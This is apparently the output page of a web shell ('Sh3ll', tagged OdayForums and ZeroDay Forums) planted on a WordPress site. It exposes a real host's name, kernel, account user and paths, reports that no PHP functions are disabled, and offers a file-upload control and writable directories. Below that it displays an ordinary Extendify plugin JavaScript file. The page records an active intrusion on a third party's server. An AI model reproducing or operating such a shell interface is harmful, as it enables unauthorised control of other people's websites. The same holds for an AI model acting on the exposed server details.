Sh3ll
OdayForums


Server : LiteSpeed
System : Linux premium84.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : claqxcrl ( 523)
PHP Version : 8.1.32
Disable Function : NONE
Directory :  /home/claqxcrl/public_html/wp-content/plugins/extendify/src/HelpCenter/tours/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/claqxcrl/public_html/wp-content/plugins/extendify/src/HelpCenter/tours/tours.js
import { applyFilters, addFilter } from '@wordpress/hooks';
import { hasPageCreatorEnabled } from '@help-center/lib/utils';
import libraryTour from '@help-center/tours/library-tour';
import pageCreator from '@help-center/tours/page-creator';
import pageEditor from '@help-center/tours/page-editor';
import pluginInstall from '@help-center/tours/plugin-install';
import pluginManagement from '@help-center/tours/plugin-management';
import siteAssistant from '@help-center/tours/site-assistant';
// import styleEditor from '@help-center/tours/style-editor.js';
import usersScreen from '@help-center/tours/users-screen.js';
import welcomeTour from '@help-center/tours/welcome.js';

const tours = {
	'welcome-tour': welcomeTour,
	'plugin-install-tour': pluginInstall,
	'plugin-management-tour': pluginManagement,
	'page-editor-tour': pageEditor,
	'library-tour': libraryTour,
	// 'style-editor-tour': styleEditor,
	'users-screen-tour': usersScreen,
	'site-assistant-tour': siteAssistant,
};

addFilter('extendify.tours', 'extendify/extra-tours', (tours) => {
	if (!hasPageCreatorEnabled) return tours;
	return { ...tours, 'page-creator-tour': pageCreator };
});

export default applyFilters('extendify.tours', tours);

ZeroDay Forums Mini